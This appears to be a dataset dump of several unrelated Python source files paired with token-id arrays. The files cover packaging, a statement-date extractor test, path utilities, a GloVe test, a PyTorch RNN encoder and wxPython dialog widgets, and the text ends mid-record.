'pyqtgraph@git+ssh://[email protected]/pyqtgraph/pyqtgraph@develop#egg=pyqtgraph'],
python_requires='>=3.7',
)
| [
1,
529,
276,
1112,
420,
29958,
328,
374,
574,
29890,
29914,
29923,
8995,
13579,
13,
3166,
731,
21245,
8789,
1053,
6230,
13,
13,
14669,
29898,
978,
2433,
29872,
8995,
18962,
742,
13,
418,
1873,
2433,
29900,
29889,
29896,
742,
13,
418,
6139,
2433,
15646,
363,
5735,
6492,
1259,
297,
22889,
322,
14705,
742,
13,
418,
4148,
2433,
29966,
5813,
29958,
742,
13,
418,
4148,
29918,
5269,
2433,
29966,
26862,
6227,
29958,
742,
13,
418,
3142,
2433,
991,
597,
3292,
29889,
510,
29914,
328,
374,
574,
29890,
29914,
29872,
8995,
18962,
742,
13,
418,
3577,
29918,
3972,
3790,
29915,
29872,
8995,
18962,
2396,
525,
4351,
16675,
13,
418,
9741,
29922,
1839,
29872,
8995,
18962,
7464,
13,
418,
2601,
29918,
276,
339,
2658,
29922,
1839,
23749,
18572,
29896,
29889,
29896,
29953,
742,
525,
2922,
17357,
18572,
29941,
29889,
29896,
742,
525,
29886,
952,
680,
29906,
29958,
29945,
29889,
29896,
29906,
742,
13,
462,
4706,
525,
2272,
17915,
4262,
29992,
5559,
29974,
15269,
597,
5559,
29992,
3292,
29889,
510,
29914,
2272,
17915,
4262,
29914,
2272,
17915,
4262,
29992,
4888,
29937,
387,
29887,
29922,
2272,
17915,
4262,
7464,
13,
418,
3017,
29918,
276,
339,
2658,
2433,
18572,
29941,
29889,
29955,
742,
13,
418,
1723,
13,
2
] |
app/BaseHandler.py | Trupal00p/polymer-template | 0 | 116044 | <gh_stars>0
from AuthHandler import AuthHandler
import json
class BaseHandler(AuthHandler):
def serve_json(self, dict):
self.response.write(json.dumps(dict))
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
3166,
13189,
4598,
1053,
13189,
4598,
13,
13,
5215,
4390,
13,
13,
13,
1990,
7399,
4598,
29898,
6444,
4598,
1125,
13,
13,
1678,
822,
9080,
29918,
3126,
29898,
1311,
29892,
9657,
1125,
13,
4706,
1583,
29889,
5327,
29889,
3539,
29898,
3126,
29889,
29881,
17204,
29898,
8977,
876,
13,
2
] |
tests/extractors/test_etrade.py | mkazin/StatementRenamer | 0 | 7819 | <filename>tests/extractors/test_etrade.py
from datetime import datetime
from statement_renamer.extractors.etrade import ETradeDateExtractor as EXTRACTOR_UNDER_TEST
from statement_renamer.extractors.factory import ExtractorFactory
TESTDATA = (
"""
PAGE 1 OF 6 February 1, 2019 - March 31, 2019AccountNumber:####-####AccountType:ROTH IRA
PAGE 5 OF 6Account Number: ####-####Statement Period : February 1, 2019 - March 31, 2019Account Type
TolearnmoreabouttheRSDAProgram,pleasereviewyourRSDAProgramCustomerAgreement,visitwww.etrade.com,orcallusat1-800-387-2331
"""
)
def test_monthly_statement():
extractor = EXTRACTOR_UNDER_TEST()
data = extractor.extract(TESTDATA)
new_name = extractor.rename(data)
assert data.get_start_date() == datetime(2019, 2, 1)
assert data.get_end_date() == datetime(2019, 3, 31)
assert new_name == '2019-03 E-Trade Statement.pdf'
def test_factory():
extractor = ExtractorFactory.get_matching_extractor(TESTDATA)
assert isinstance(extractor, EXTRACTOR_UNDER_TEST)
| [
1,
529,
9507,
29958,
21150,
29914,
21111,
943,
29914,
1688,
29918,
300,
15464,
29889,
2272,
13,
3166,
12865,
1053,
12865,
13,
13,
3166,
3229,
29918,
1267,
4183,
29889,
21111,
943,
29889,
300,
15464,
1053,
382,
5323,
311,
2539,
5647,
28891,
408,
8528,
29911,
4717,
1783,
1955,
29918,
18783,
1001,
29918,
18267,
13,
3166,
3229,
29918,
1267,
4183,
29889,
21111,
943,
29889,
14399,
1053,
7338,
28891,
5126,
13,
13,
18267,
14573,
353,
313,
13,
1678,
9995,
13,
1678,
349,
10461,
29871,
29896,
8079,
259,
29953,
6339,
29871,
29896,
29892,
29871,
29906,
29900,
29896,
29929,
448,
4779,
29871,
29941,
29896,
29892,
29871,
29906,
29900,
29896,
29929,
10601,
4557,
29901,
4136,
29899,
4136,
10601,
1542,
29901,
1672,
4690,
306,
4717,
13,
1678,
349,
10461,
29871,
29945,
8079,
259,
29953,
10601,
9681,
29901,
29871,
3191,
29899,
4136,
14473,
29498,
584,
29871,
6339,
29871,
29896,
29892,
29871,
29906,
29900,
29896,
29929,
448,
4779,
29871,
29941,
29896,
29892,
29871,
29906,
29900,
29896,
29929,
10601,
5167,
13,
1678,
1763,
19668,
5514,
12717,
1552,
29934,
7230,
29909,
9283,
29892,
552,
294,
406,
1493,
8066,
29934,
7230,
29909,
9283,
15122,
29909,
7979,
882,
29892,
1730,
277,
1636,
29889,
300,
15464,
29889,
510,
29892,
272,
4804,
375,
271,
29896,
29899,
29947,
29900,
29900,
29899,
29941,
29947,
29955,
29899,
29906,
29941,
29941,
29896,
13,
1678,
9995,
13,
29897,
13,
13,
13,
1753,
1243,
29918,
10874,
368,
29918,
20788,
7295,
13,
13,
1678,
6597,
272,
353,
8528,
29911,
4717,
1783,
1955,
29918,
18783,
1001,
29918,
18267,
580,
13,
1678,
848,
353,
6597,
272,
29889,
21111,
29898,
18267,
14573,
29897,
13,
1678,
716,
29918,
978,
353,
6597,
272,
29889,
1267,
420,
29898,
1272,
29897,
13,
13,
1678,
4974,
848,
29889,
657,
29918,
2962,
29918,
1256,
580,
1275,
12865,
29898,
29906,
29900,
29896,
29929,
29892,
29871,
29906,
29892,
29871,
29896,
29897,
13,
1678,
4974,
848,
29889,
657,
29918,
355,
29918,
1256,
580,
1275,
12865,
29898,
29906,
29900,
29896,
29929,
29892,
29871,
29941,
29892,
29871,
29941,
29896,
29897,
13,
1678,
4974,
716,
29918,
978,
1275,
525,
29906,
29900,
29896,
29929,
29899,
29900,
29941,
382,
29899,
5323,
311,
6666,
882,
29889,
5140,
29915,
13,
13,
13,
1753,
1243,
29918,
14399,
7295,
13,
13,
1678,
6597,
272,
353,
7338,
28891,
5126,
29889,
657,
29918,
4352,
292,
29918,
21111,
272,
29898,
18267,
14573,
29897,
13,
13,
1678,
4974,
338,
8758,
29898,
21111,
272,
29892,
8528,
29911,
4717,
1783,
1955,
29918,
18783,
1001,
29918,
18267,
29897,
13,
2
] |
python/utils.py | fpbfabio/newsgroups1000s | 0 | 61704 | import os
from const import *
class Utils:
@staticmethod
def string_find(to_find_string, target_string):
result = str(target_string).find(to_find_string)
if (result != -1):
return result
return None
@staticmethod
def string_replace(to_find_string, replace_string, target_string):
index = Utils.string_find(to_find_string, target_string)
if (index is None):
return target_string
to_find_string_length = len(to_find_string)
beginning = EMPTY_STRING
end = EMPTY_STRING
if (index > 0):
beginning = target_string[0:index]
if (index + to_find_string_length < len(target_string)):
end = target_string[index + to_find_string_length:]
new_string = beginning + replace_string + end
return new_string
@staticmethod
def extract_file_parent_folder(path):
name = path
for i in range(len(path) - 1, -1, -1):
if (path[i] == os.path.sep):
most_right_slash_index = i
break
second_most_right_slash_index = -1
for i in range(most_right_slash_index - 1, -1, -1):
if (path[i] == os.path.sep):
second_most_right_slash_index = i
break
parent_folder_name = path[second_most_right_slash_index + 1:most_right_slash_index]
return parent_folder_name
@staticmethod
def extract_file_name(path):
name = path
for i in range(len(path) - 1, -1, -1):
if (path[i] == os.path.sep):
most_right_slash_index = i
name = path[most_right_slash_index + 1:]
break
if (FILE_EXTENSION_SEPARATOR in name):
dot_index = Utils.string_find(FILE_EXTENSION_SEPARATOR, name)
name = name[0:dot_index]
return name
@staticmethod
def extract_file_extension(path):
separator_index = None
file_extension = None
for i in range(len(path) - 1, -1, -1):
if (path[i] == os.path.sep):
break
if (path[i] == FILE_EXTENSION_SEPARATOR):
separator_index = i
if (separator_index is not None):
file_extension = path[separator_index:]
return file_extension
@staticmethod
def is_backup_file(path):
file_name = Utils.extract_file_name(path)
file_extension = Utils.extract_file_extension(path)
if (file_extension is not None):
last_char_index = len(file_extension) - 1
return file_extension[last_char_index] == BACKUP_SYMBOL
last_char_index = len(file_name) - 1
return file_name[last_char_index] == BACKUP_SYMBOL
@staticmethod
def is_integer(s):
try:
int(s)
return True
except ValueError:
return False | [
1,
1053,
2897,
13,
3166,
1040,
1053,
334,
13,
13,
13,
1990,
22310,
29879,
29901,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
1347,
29918,
2886,
29898,
517,
29918,
2886,
29918,
1807,
29892,
3646,
29918,
1807,
1125,
13,
4706,
1121,
353,
851,
29898,
5182,
29918,
1807,
467,
2886,
29898,
517,
29918,
2886,
29918,
1807,
29897,
13,
4706,
565,
313,
2914,
2804,
448,
29896,
1125,
13,
9651,
736,
1121,
13,
4706,
736,
6213,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
1347,
29918,
6506,
29898,
517,
29918,
2886,
29918,
1807,
29892,
5191,
29918,
1807,
29892,
3646,
29918,
1807,
1125,
13,
4706,
2380,
353,
22310,
29879,
29889,
1807,
29918,
2886,
29898,
517,
29918,
2886,
29918,
1807,
29892,
3646,
29918,
1807,
29897,
13,
4706,
565,
313,
2248,
338,
6213,
1125,
13,
9651,
736,
3646,
29918,
1807,
13,
4706,
304,
29918,
2886,
29918,
1807,
29918,
2848,
353,
7431,
29898,
517,
29918,
2886,
29918,
1807,
29897,
13,
4706,
6763,
353,
382,
3580,
15631,
29918,
20785,
13,
4706,
1095,
353,
382,
3580,
15631,
29918,
20785,
13,
4706,
565,
313,
2248,
1405,
29871,
29900,
1125,
13,
9651,
6763,
353,
3646,
29918,
1807,
29961,
29900,
29901,
2248,
29962,
13,
4706,
565,
313,
2248,
718,
304,
29918,
2886,
29918,
1807,
29918,
2848,
529,
7431,
29898,
5182,
29918,
1807,
22164,
13,
9651,
1095,
353,
3646,
29918,
1807,
29961,
2248,
718,
304,
29918,
2886,
29918,
1807,
29918,
2848,
17531,
13,
4706,
716,
29918,
1807,
353,
6763,
718,
5191,
29918,
1807,
718,
1095,
13,
4706,
736,
716,
29918,
1807,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
6597,
29918,
1445,
29918,
3560,
29918,
12083,
29898,
2084,
1125,
13,
4706,
1024,
353,
2224,
13,
4706,
363,
474,
297,
3464,
29898,
2435,
29898,
2084,
29897,
448,
29871,
29896,
29892,
448,
29896,
29892,
448,
29896,
1125,
13,
9651,
565,
313,
2084,
29961,
29875,
29962,
1275,
2897,
29889,
2084,
29889,
19570,
1125,
13,
18884,
1556,
29918,
1266,
29918,
17057,
29918,
2248,
353,
474,
13,
18884,
2867,
13,
4706,
1473,
29918,
3242,
29918,
1266,
29918,
17057,
29918,
2248,
353,
448,
29896,
13,
4706,
363,
474,
297,
3464,
29898,
3242,
29918,
1266,
29918,
17057,
29918,
2248,
448,
29871,
29896,
29892,
448,
29896,
29892,
448,
29896,
1125,
13,
9651,
565,
313,
2084,
29961,
29875,
29962,
1275,
2897,
29889,
2084,
29889,
19570,
1125,
13,
18884,
1473,
29918,
3242,
29918,
1266,
29918,
17057,
29918,
2248,
353,
474,
13,
18884,
2867,
13,
4706,
3847,
29918,
12083,
29918,
978,
353,
2224,
29961,
7496,
29918,
3242,
29918,
1266,
29918,
17057,
29918,
2248,
718,
29871,
29896,
29901,
3242,
29918,
1266,
29918,
17057,
29918,
2248,
29962,
13,
4706,
736,
3847,
29918,
12083,
29918,
978,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
6597,
29918,
1445,
29918,
978,
29898,
2084,
1125,
13,
4706,
1024,
353,
2224,
13,
4706,
363,
474,
297,
3464,
29898,
2435,
29898,
2084,
29897,
448,
29871,
29896,
29892,
448,
29896,
29892,
448,
29896,
1125,
13,
9651,
565,
313,
2084,
29961,
29875,
29962,
1275,
2897,
29889,
2084,
29889,
19570,
1125,
13,
18884,
1556,
29918,
1266,
29918,
17057,
29918,
2248,
353,
474,
13,
18884,
1024,
353,
2224,
29961,
3242,
29918,
1266,
29918,
17057,
29918,
2248,
718,
29871,
29896,
17531,
13,
18884,
2867,
13,
4706,
565,
313,
7724,
29918,
12194,
1430,
13381,
29918,
1660,
16320,
1299,
1955,
297,
1024,
1125,
13,
9651,
8329,
29918,
2248,
353,
22310,
29879,
29889,
1807,
29918,
2886,
29898,
7724,
29918,
12194,
1430,
13381,
29918,
1660,
16320,
1299,
1955,
29892,
1024,
29897,
13,
9651,
1024,
353,
1024,
29961,
29900,
29901,
6333,
29918,
2248,
29962,
13,
4706,
736,
1024,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
6597,
29918,
1445,
29918,
17588,
29898,
2084,
1125,
13,
4706,
28128,
29918,
2248,
353,
6213,
13,
4706,
934,
29918,
17588,
353,
6213,
13,
4706,
363,
474,
297,
3464,
29898,
2435,
29898,
2084,
29897,
448,
29871,
29896,
29892,
448,
29896,
29892,
448,
29896,
1125,
13,
9651,
565,
313,
2084,
29961,
29875,
29962,
1275,
2897,
29889,
2084,
29889,
19570,
1125,
13,
18884,
2867,
13,
9651,
565,
313,
2084,
29961,
29875,
29962,
1275,
24080,
29918,
12194,
1430,
13381,
29918,
1660,
16320,
1299,
1955,
1125,
13,
18884,
28128,
29918,
2248,
353,
474,
13,
4706,
565,
313,
344,
17954,
29918,
2248,
338,
451,
6213,
1125,
13,
9651,
934,
29918,
17588,
353,
2224,
29961,
344,
17954,
29918,
2248,
17531,
13,
4706,
736,
934,
29918,
17588,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
338,
29918,
1627,
786,
29918,
1445,
29898,
2084,
1125,
13,
4706,
934,
29918,
978,
353,
22310,
29879,
29889,
21111,
29918,
1445,
29918,
978,
29898,
2084,
29897,
13,
4706,
934,
29918,
17588,
353,
22310,
29879,
29889,
21111,
29918,
1445,
29918,
17588,
29898,
2084,
29897,
13,
4706,
565,
313,
1445,
29918,
17588,
338,
451,
6213,
1125,
13,
9651,
1833,
29918,
3090,
29918,
2248,
353,
7431,
29898,
1445,
29918,
17588,
29897,
448,
29871,
29896,
13,
9651,
736,
934,
29918,
17588,
29961,
4230,
29918,
3090,
29918,
2248,
29962,
1275,
350,
11375,
4897,
29918,
14816,
9486,
5607,
13,
4706,
1833,
29918,
3090,
29918,
2248,
353,
7431,
29898,
1445,
29918,
978,
29897,
448,
29871,
29896,
13,
4706,
736,
934,
29918,
978,
29961,
4230,
29918,
3090,
29918,
2248,
29962,
1275,
350,
11375,
4897,
29918,
14816,
9486,
5607,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
338,
29918,
16031,
29898,
29879,
1125,
13,
4706,
1018,
29901,
13,
9651,
938,
29898,
29879,
29897,
13,
9651,
736,
5852,
13,
4706,
5174,
7865,
2392,
29901,
13,
9651,
736,
7700,
2
] |
tests/test_glove.py | muxgt/pycadl | 398 | 184112 | <reponame>muxgt/pycadl<gh_stars>100-1000
from cadl import glove
from cadl.utils import exists
from numpy.testing import run_module_suite
def test_glove_exists():
assert(exists('http://nlp.stanford.edu/data/wordvecs/glove.6B.zip'))
def test_glove_model():
model = glove.get_model()
assert(model[0].shape == (400001, 300))
assert(len(model[1]) == 400001)
if __name__ == "__main__":
run_module_suite()
| [
1,
529,
276,
1112,
420,
29958,
29885,
1314,
4141,
29914,
2272,
29883,
328,
29880,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29900,
29900,
29899,
29896,
29900,
29900,
29900,
13,
3166,
13840,
29880,
1053,
15482,
345,
13,
3166,
13840,
29880,
29889,
13239,
1053,
4864,
13,
3166,
12655,
29889,
13424,
1053,
1065,
29918,
5453,
29918,
13495,
13,
13,
13,
1753,
1243,
29918,
29887,
417,
345,
29918,
9933,
7295,
13,
1678,
4974,
29898,
9933,
877,
1124,
597,
12938,
29886,
29889,
14411,
4006,
29889,
6085,
29914,
1272,
29914,
1742,
2003,
29879,
29914,
29887,
417,
345,
29889,
29953,
29933,
29889,
7554,
8785,
13,
13,
1753,
1243,
29918,
29887,
417,
345,
29918,
4299,
7295,
13,
1678,
1904,
353,
15482,
345,
29889,
657,
29918,
4299,
580,
13,
1678,
4974,
29898,
4299,
29961,
29900,
1822,
12181,
1275,
313,
29946,
29900,
29900,
29900,
29900,
29896,
29892,
29871,
29941,
29900,
29900,
876,
13,
1678,
4974,
29898,
2435,
29898,
4299,
29961,
29896,
2314,
1275,
29871,
29946,
29900,
29900,
29900,
29900,
29896,
29897,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
1065,
29918,
5453,
29918,
13495,
580,
13,
2
] |
notebooks/deprecated/notebooks/nets/_seq2vec.py | grchristensen/avpd | 0 | 179026 | import torch
from torch import Tensor
from torch.nn import Module
from torch.nn.utils.rnn import PackedSequence, pad_packed_sequence
class Seq2Vec(Module):
"""A sequence-to-vector RNN."""
def __init__(self, rnn, attn=None):
"""
Initialize a Seq2Vec module.
:param rnn: The RNN module to use for encoding.
:param attn: The attention module to use after encoding.
"""
super().__init__()
if attn is None:
self._impl = NoAttnSeq2Vec(rnn)
else:
self._impl = AttnSeq2Vec(rnn, attn)
def forward(self, x):
"""
Pass :param x through the network.
:param x: The input for the network, should be of shape (seq_len, batch_size, num_features). If attention is
used, this should not be a packed sequence.
:return: The output of the network.
"""
return self._impl(x)
class NoAttnSeq2Vec(Module):
"""A sequence-to-vector RNN, without attention."""
def __init__(self, rnn):
"""
Initialize a NoAttnSeq2Vec module.
:param rnn: The RNN module to use in encoding.
"""
super().__init__()
self.rnn = rnn
def forward(self, x: Tensor) -> Tensor:
"""
Pass :param x through the network.
:param x: The input to the network, should be of shape (seq_len, batch_size, num_features).
:return: The output of the network.
"""
encoding, _ = self.rnn(x)
# The way that we retrieve the last encoding depends on whether the sequence is packed.
if isinstance(encoding, PackedSequence):
encoding, seq_lens = pad_packed_sequence(encoding)
# If the sequence is packed, then each encoding is at the position of the last item in the sequence
# (seq_len - 1).
encoding = encoding[seq_lens - 1, torch.arange(encoding.shape[1])]
else:
# If the sequence is not packed, then we know each encoding is simply located at the last position in the
# sequence.
encoding = encoding[-1]
return encoding
class AttnSeq2Vec(Module):
"""A sequence-to-vector RNN, with attention. Does not support packed tensors"""
def __init__(self, rnn, attn):
"""
Initialize an AttnSeq2Vec module.
:param rnn: The RNN module to use in encoding.
:param attn: The attention module to use after encoding.
"""
super().__init__()
self.rnn = rnn
self.attn = attn
def forward(self, x):
"""
Pass :param x through the network.
:param x: The input to the network, should be of shape (seq_len, batch_size, num_features). Packed tensors are
not supported.
:return: The output of the network.
"""
seq_outputs, _ = self.rnn(x)
encoding = self.attn(seq_outputs)
return encoding
| [
1,
1053,
4842,
305,
13,
3166,
4842,
305,
1053,
323,
6073,
13,
3166,
4842,
305,
29889,
15755,
1053,
15591,
13,
3166,
4842,
305,
29889,
15755,
29889,
13239,
29889,
29878,
15755,
1053,
18744,
287,
20529,
29892,
17132,
29918,
4058,
287,
29918,
16506,
13,
13,
13,
1990,
25981,
29906,
25987,
29898,
7355,
1125,
13,
1678,
9995,
29909,
5665,
29899,
517,
29899,
8111,
390,
10262,
1213,
15945,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
364,
15755,
29892,
1098,
29876,
29922,
8516,
1125,
13,
4706,
9995,
13,
4706,
25455,
263,
25981,
29906,
25987,
3883,
29889,
13,
13,
4706,
584,
3207,
364,
15755,
29901,
450,
390,
10262,
3883,
304,
671,
363,
8025,
29889,
13,
4706,
584,
3207,
1098,
29876,
29901,
450,
8570,
3883,
304,
671,
1156,
8025,
29889,
13,
4706,
9995,
13,
4706,
2428,
2141,
1649,
2344,
1649,
580,
13,
13,
4706,
565,
1098,
29876,
338,
6213,
29901,
13,
9651,
1583,
3032,
13699,
353,
1939,
4165,
29876,
23718,
29906,
25987,
29898,
29878,
15755,
29897,
13,
4706,
1683,
29901,
13,
9651,
1583,
3032,
13699,
353,
6212,
29876,
23718,
29906,
25987,
29898,
29878,
15755,
29892,
1098,
29876,
29897,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
1125,
13,
4706,
9995,
13,
4706,
6978,
584,
3207,
921,
1549,
278,
3564,
29889,
13,
13,
4706,
584,
3207,
921,
29901,
450,
1881,
363,
278,
3564,
29892,
881,
367,
310,
8267,
313,
11762,
29918,
2435,
29892,
9853,
29918,
2311,
29892,
954,
29918,
22100,
467,
960,
8570,
338,
13,
4706,
1304,
29892,
445,
881,
451,
367,
263,
4870,
287,
5665,
29889,
13,
13,
4706,
584,
2457,
29901,
450,
1962,
310,
278,
3564,
29889,
13,
4706,
9995,
13,
4706,
736,
1583,
3032,
13699,
29898,
29916,
29897,
13,
13,
13,
1990,
1939,
4165,
29876,
23718,
29906,
25987,
29898,
7355,
1125,
13,
1678,
9995,
29909,
5665,
29899,
517,
29899,
8111,
390,
10262,
29892,
1728,
8570,
1213,
15945,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
364,
15755,
1125,
13,
4706,
9995,
13,
4706,
25455,
263,
1939,
4165,
29876,
23718,
29906,
25987,
3883,
29889,
13,
13,
4706,
584,
3207,
364,
15755,
29901,
450,
390,
10262,
3883,
304,
671,
297,
8025,
29889,
13,
4706,
9995,
13,
4706,
2428,
2141,
1649,
2344,
1649,
580,
13,
4706,
1583,
29889,
29878,
15755,
353,
364,
15755,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
29901,
323,
6073,
29897,
1599,
323,
6073,
29901,
13,
4706,
9995,
13,
4706,
6978,
584,
3207,
921,
1549,
278,
3564,
29889,
13,
13,
4706,
584,
3207,
921,
29901,
450,
1881,
304,
278,
3564,
29892,
881,
367,
310,
8267,
313,
11762,
29918,
2435,
29892,
9853,
29918,
2311,
29892,
954,
29918,
22100,
467,
13,
13,
4706,
584,
2457,
29901,
450,
1962,
310,
278,
3564,
29889,
13,
4706,
9995,
13,
4706,
8025,
29892,
903,
353,
1583,
29889,
29878,
15755,
29898,
29916,
29897,
13,
13,
4706,
396,
450,
982,
393,
591,
10563,
278,
1833,
8025,
7111,
373,
3692,
278,
5665,
338,
4870,
287,
29889,
13,
4706,
565,
338,
8758,
29898,
22331,
29892,
18744,
287,
20529,
1125,
13,
9651,
8025,
29892,
19359,
29918,
29880,
575,
353,
17132,
29918,
4058,
287,
29918,
16506,
29898,
22331,
29897,
13,
13,
9651,
396,
960,
278,
5665,
338,
4870,
287,
29892,
769,
1269,
8025,
338,
472,
278,
2602,
310,
278,
1833,
2944,
297,
278,
5665,
13,
9651,
396,
313,
11762,
29918,
2435,
448,
29871,
29896,
467,
13,
9651,
8025,
353,
8025,
29961,
11762,
29918,
29880,
575,
448,
29871,
29896,
29892,
4842,
305,
29889,
279,
927,
29898,
22331,
29889,
12181,
29961,
29896,
2314,
29962,
13,
4706,
1683,
29901,
13,
9651,
396,
960,
278,
5665,
338,
451,
4870,
287,
29892,
769,
591,
1073,
1269,
8025,
338,
3763,
5982,
472,
278,
1833,
2602,
297,
278,
13,
9651,
396,
5665,
29889,
13,
9651,
8025,
353,
8025,
14352,
29896,
29962,
13,
13,
4706,
736,
8025,
13,
13,
13,
1990,
6212,
29876,
23718,
29906,
25987,
29898,
7355,
1125,
13,
1678,
9995,
29909,
5665,
29899,
517,
29899,
8111,
390,
10262,
29892,
411,
8570,
29889,
5538,
451,
2304,
4870,
287,
25187,
943,
15945,
29908,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
364,
15755,
29892,
1098,
29876,
1125,
13,
4706,
9995,
13,
4706,
25455,
385,
6212,
29876,
23718,
29906,
25987,
3883,
29889,
13,
13,
4706,
584,
3207,
364,
15755,
29901,
450,
390,
10262,
3883,
304,
671,
297,
8025,
29889,
13,
4706,
584,
3207,
1098,
29876,
29901,
450,
8570,
3883,
304,
671,
1156,
8025,
29889,
13,
4706,
9995,
13,
4706,
2428,
2141,
1649,
2344,
1649,
580,
13,
4706,
1583,
29889,
29878,
15755,
353,
364,
15755,
13,
4706,
1583,
29889,
1131,
29876,
353,
1098,
29876,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
1125,
13,
4706,
9995,
13,
4706,
6978,
584,
3207,
921,
1549,
278,
3564,
29889,
13,
13,
4706,
584,
3207,
921,
29901,
450,
1881,
304,
278,
3564,
29892,
881,
367,
310,
8267,
313,
11762,
29918,
2435,
29892,
9853,
29918,
2311,
29892,
954,
29918,
22100,
467,
18744,
287,
25187,
943,
526,
13,
4706,
451,
6969,
29889,
13,
13,
4706,
584,
2457,
29901,
450,
1962,
310,
278,
3564,
29889,
13,
4706,
9995,
13,
4706,
19359,
29918,
4905,
29879,
29892,
903,
353,
1583,
29889,
29878,
15755,
29898,
29916,
29897,
13,
13,
4706,
8025,
353,
1583,
29889,
1131,
29876,
29898,
11762,
29918,
4905,
29879,
29897,
13,
13,
4706,
736,
8025,
13,
2
] |
src/sas/sasgui/perspectives/invariant/invariant_widgets.py | opendatafit/sasview | 0 | 169305 | ################################################################################
# This software was developed by the University of Tennessee as part of the
# Distributed Data Analysis of Neutron Scattering Experiments (DANSE)
# project funded by the US National Science Foundation.
#
# See the license text in license.txt
#
# copyright 2009, University of Tennessee
################################################################################
import wx
from wx.lib.scrolledpanel import ScrolledPanel
WIDTH = 400
HEIGHT = 350
class DialogPanel(ScrolledPanel):
def __init__(self, *args, **kwds):
ScrolledPanel.__init__(self, *args, **kwds)
self.SetupScrolling()
class InvTextCtrl(wx.TextCtrl):
"""
Text control for model and fit parameters.
Binds the appropriate events for user interactions.
"""
def __init__(self, *args, **kwds):
wx.TextCtrl.__init__(self, *args, **kwds)
# # Set to True when the mouse is clicked while
# the whole string is selected
self.full_selection = False
# # Call back for EVT_SET_FOCUS events
_on_set_focus_callback = None
# Bind appropriate events
self.Bind(wx.EVT_LEFT_UP, self._highlight_text)
self.Bind(wx.EVT_SET_FOCUS, self._on_set_focus)
def _on_set_focus(self, event):
"""
Catch when the text control is set in focus to highlight the whole
text if necessary
:param event: mouse event
"""
event.Skip()
self.full_selection = True
def _highlight_text(self, event):
"""
Highlight text of a TextCtrl only of no text has be selected
:param event: mouse event
"""
# Make sure the mouse event is available to other listeners
event.Skip()
control = event.GetEventObject()
if self.full_selection:
self.full_selection = False
# Check that we have a TextCtrl
if issubclass(control.__class__, wx.TextCtrl):
# Check whether text has been selected,
# if not, select the whole string
(start, end) = control.GetSelection()
if start == end:
control.SetSelection(-1, -1)
class OutputTextCtrl(wx.TextCtrl):
"""
Text control used to display outputs.
No editing allowed. The background is
grayed out. User can't select text.
"""
def __init__(self, *args, **kwds):
wx.TextCtrl.__init__(self, *args, **kwds)
self.SetEditable(False)
self.SetBackgroundColour(self.GetParent().GetBackgroundColour())
# Bind to mouse event to avoid text highlighting
# The event will be skipped once the call-back
# is called.
self.Bind(wx.EVT_MOUSE_EVENTS, self._click)
def _click(self, event):
"""
Prevent further handling of the mouse event
by not calling Skip().
"""
pass
class DataDialog(wx.Dialog):
"""
Allow file selection at loading time
"""
def __init__(self, data_list, parent=None, text='', *args, **kwds):
kwds['size'] = (WIDTH, HEIGHT)
kwds['title'] = "Data Selection"
wx.Dialog.__init__(self, parent, *args, **kwds)
self.list_of_ctrl = []
self._sizer_main = wx.BoxSizer(wx.VERTICAL)
self._sizer_txt = wx.BoxSizer(wx.VERTICAL)
self._sizer_button = wx.BoxSizer(wx.HORIZONTAL)
self._choice_sizer = wx.GridBagSizer(5, 5)
self._panel = DialogPanel(self, style=wx.RAISED_BORDER,
size=(WIDTH - 20, HEIGHT / 3))
self.SetSizer(self._sizer_main)
self.__do_layout(data_list, text=text)
self.Layout()
def __do_layout(self, data_list, text=''):
"""
layout the dialog
"""
# add text
if text.strip() == "":
text = "This Perspective does not allow multiple data !\n"
text += "Please select only one Data.\n"
text_ctrl = wx.TextCtrl(self, -1, str(text), style=wx.TE_MULTILINE,
size=(-1, HEIGHT / 3))
text_ctrl.SetEditable(False)
self._sizer_txt.Add(text_ctrl, 1, wx.EXPAND | wx.ALL, 10)
iy = 0
ix = 0
rbox = wx.RadioButton(self._panel, -1, str(data_list[0].name),
(10, 10), style=wx.RB_GROUP)
rbox.SetValue(True)
self.list_of_ctrl.append((rbox, data_list[0]))
self._choice_sizer.Add(rbox, (iy, ix), (1, 1),
wx.LEFT | wx.EXPAND | wx.ADJUST_MINSIZE, 15)
for i in range(1, len(data_list)):
iy += 1
rbox = wx.RadioButton(self._panel, -1,
str(data_list[i].name), (10, 10))
rbox.SetValue(False)
self.list_of_ctrl.append((rbox, data_list[i]))
self._choice_sizer.Add(rbox, (iy, ix),
(1, 1), wx.LEFT | wx.EXPAND | wx.ADJUST_MINSIZE, 15)
self._panel.SetSizer(self._choice_sizer)
# add sizer
self._sizer_button.Add((20, 20), 1, wx.EXPAND | wx.ADJUST_MINSIZE, 0)
button_cancel = wx.Button(self, wx.ID_CANCEL, "Cancel")
self._sizer_button.Add(button_cancel, 0,
wx.LEFT | wx.RIGHT | wx.ADJUST_MINSIZE, 10)
button_OK = wx.Button(self, wx.ID_OK, "Ok")
button_OK.SetFocus()
self._sizer_button.Add(button_OK, 0,
wx.LEFT | wx.RIGHT | wx.ADJUST_MINSIZE, 10)
static_line = wx.StaticLine(self, -1)
self._sizer_txt.Add(self._panel, 0, wx.EXPAND | wx.ALL, 5)
self._sizer_main.Add(self._sizer_txt, 0, wx.EXPAND | wx.ALL, 5)
self._sizer_main.Add(static_line, 0, wx.EXPAND, 0)
self._sizer_main.Add(self._sizer_button, 0, wx.EXPAND | wx.ALL, 10)
def get_data(self):
"""
return the selected data
"""
for item in self.list_of_ctrl:
rbox, data = item
if rbox.GetValue():
return data
| [
1,
835,
13383,
13383,
13383,
13383,
7346,
4136,
29937,
13,
29937,
910,
7047,
471,
8906,
491,
278,
3014,
310,
22664,
408,
760,
